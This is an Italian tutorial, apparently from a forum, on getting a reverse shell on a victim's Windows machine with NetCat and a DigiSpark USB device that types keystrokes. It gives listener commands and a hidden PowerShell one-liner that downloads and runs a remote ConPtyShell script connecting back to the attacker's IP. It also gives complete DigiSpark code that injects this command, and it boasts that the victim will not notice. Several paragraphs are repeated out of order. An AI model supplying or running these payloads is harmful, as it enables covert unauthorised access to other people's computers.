Ultima modifica:
In questo guida vedremo come creare un Reverse Shell con NetCat e una DigiSpark (con la quale automatizzeremo la cosa), pero prima vediamo cosa è una shell inversa.
1. Cos'è un Reverse Shell
Una Reverse è quando la macchina vittima si collega alla nostra, in questo modo possiamo interfacciare con essa attraverso una shell, essendo che se provassimo noi a collegarci col computer vittima il FireWall ci bloccherebbe invertiamo i ruoli, la macchina vittima si collega a noi, poichè il FireWall blocca sono le connessioni in entrata e non quelle in uscita:
1. Cos'è un Reverse Shell
Una Reverse è quando la macchina vittima si collega alla nostra, in questo modo possiamo interfacciare con essa attraverso una shell, essendo che se provassimo noi a collegarci col computer vittima il FireWall ci bloccherebbe invertiamo i ruoli, la macchina vittima si collega a noi, poichè il FireWall blocca sono le connessioni in entrata e non quelle in uscita:
- La nostra macchina sarà il server
- La macchina vittima sarà il client che si collegherà al server
Per crearla con Ncat scriviamo:
E sulla parte del client (Windows):
In questo modo si stabilerà una connessione e noi su Kali avremo un shell, la flag -e consente l'esecuzione di un programma al momento della connessione.
2. NetCat Digispark
Prima di tutto ci mettiamo in ascolto con NetCat sulla porta 4444:
Ok, ora programmiamo lo script, in breve aprirà un pws (non servono essere root) e scriverà questa stringa al suo interno:
Scaricherà uno script .ps1 che creerà una connessione col nostro pc (Kali) e avremo una Reverse, dopo di chè sposterà il processo di powershell in background con la stringa:
Quindi la vittima almeno che non apra il task manager non vedrà niente. code:
Bash:
nc -lnvp 4444 #server side
Codice:
nc -e shell ip port#client side
2. NetCat Digispark
Prima di tutto ci mettiamo in ascolto con NetCat sulla porta 4444:
Bash:
stty raw -echo; (stty size; cat) | nc -lnvp 4444
Codice:
Powershell.exe -WindowsStyle hidden { IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.115 87 }
Powershell.exe -WindowsStyle hidden
Quindi la vittima almeno che non apra il task manager non vedrà niente. code:
C++:
#include "KeyboardES.h"
void setup() {
// Open powershell
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.print("powershell");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
// Start Reverse Shell
DigiKeyboard.print("Powershell.exe -WindowsStyle Hidden IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 192.168.1.115 87");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
}
void loop() {
// put your main code here, to run repeatedly:
}
./ghxst